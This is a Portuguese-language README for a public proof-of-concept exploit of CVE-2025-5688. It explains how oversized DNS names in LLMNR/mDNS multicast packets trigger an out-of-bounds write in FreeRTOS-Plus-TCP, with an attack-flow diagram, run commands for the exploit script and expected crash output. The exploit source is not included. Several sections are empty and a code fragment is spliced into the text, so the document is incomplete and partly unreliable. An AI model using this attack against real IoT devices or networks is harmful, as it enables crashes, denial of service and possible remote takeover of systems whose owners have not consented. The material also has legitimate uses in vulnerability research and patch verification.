
PoC exploit para CVE-2025-5688: escrita fora dos limites remota no FreeRTOS-Plus-TCP por meio de consultas LLMNR/mDNS manipuladas, causando falha ou possível RCE em dispositivos IoT vulneráveis.
Corrupção remota de memória / DoS / possível gatilho de RCE no FreeRTOS-Plus-TCP ao processar nomes DNS excessivamente longos em consultas LLMNR ou mDNS (Buffer Allocation Scheme 1).
Autor do Exploit: Mohammed Idrees Banyamer
País: Jordânia
Instagram: @banyamer_security
Data: 26 de dezembro de 2025
Este PoC envia um pacote UDP multicast especialmente elaborado contendo um nome DNS excessivamente longo para acionar uma escrita fora dos limites (CWE-787) em versões vulneráveis do FreeRTOS-Plus-TCP (v2.3.4 – v4.3.1 com LLMNR/mDNS + Scheme 1).
Sintomas comuns em dispositivos afetados:
Dispositivos Afetados (exemplos)
Corrigido em: FreeRTOS-Plus-TCP 4.3.2 (validação rigorosa de comprimento adicionada)
Referências
graph TD
A[Attacker on same LAN] -->|"1. Craft oversized DNS name"| B["`UDP Packet
long QNAME (~500+ bytes)`"]
B -->|"2. Send to multicast"| C{Target Protocol}
C -->|LLMNR| D[224.0.0.252:5355]
C -->|mDNS| E[224.0.0.251:5353]
D --> F["`FreeRTOS-Plus-TCP
LLMNR/mDNS Parser`"]
E --> F
F -->|"No length check + Scheme 1"| G[Fixed-size buffer overflow]
G --> H["`Out-of-bounds Write
CWE-787`"]
H --> I{Outcome}
I -->|"Common"| J[Crash / Reboot / Watchdog]
I -->|"Memory layout dependent"| K[Potential RCE / Code Execution]
I -->|"Data after buffer"| L[Memory corruption / Info leak]socket, sys) – sem pacotes externos# LLMNR attack (default multicast)
python3 exploit.py LLMNR
# mDNS attack
python3 exploit.py mDNS
# Custom multicast IP (rarely needed)
python3 exploit.py LLMNR 224.0.0.252
python3 exploit.py mDNS 224.0.0.251
Saída esperada:
[+] Sending 523-byte LLMNR query → target 224.0.0.252:5355
[+] Sent. Watch for immediate crash, reboot, LED blink loop, or freeze.
Este código é fornecido apenas para fins educacionais, de pesquisa e demonstração de vulnerabilidades.
NÃO use este exploit contra qualquer sistema ou rede sem permissão explícita por escrito do proprietário.
O uso não autorizado pode violar leis (leis de fraude e abuso de computador, etc.).
O autor não é responsável por qualquer uso indevido ou dano.
Licença MIT – consulte o arquivo LICENSE (ou adicione um se estiver faltando).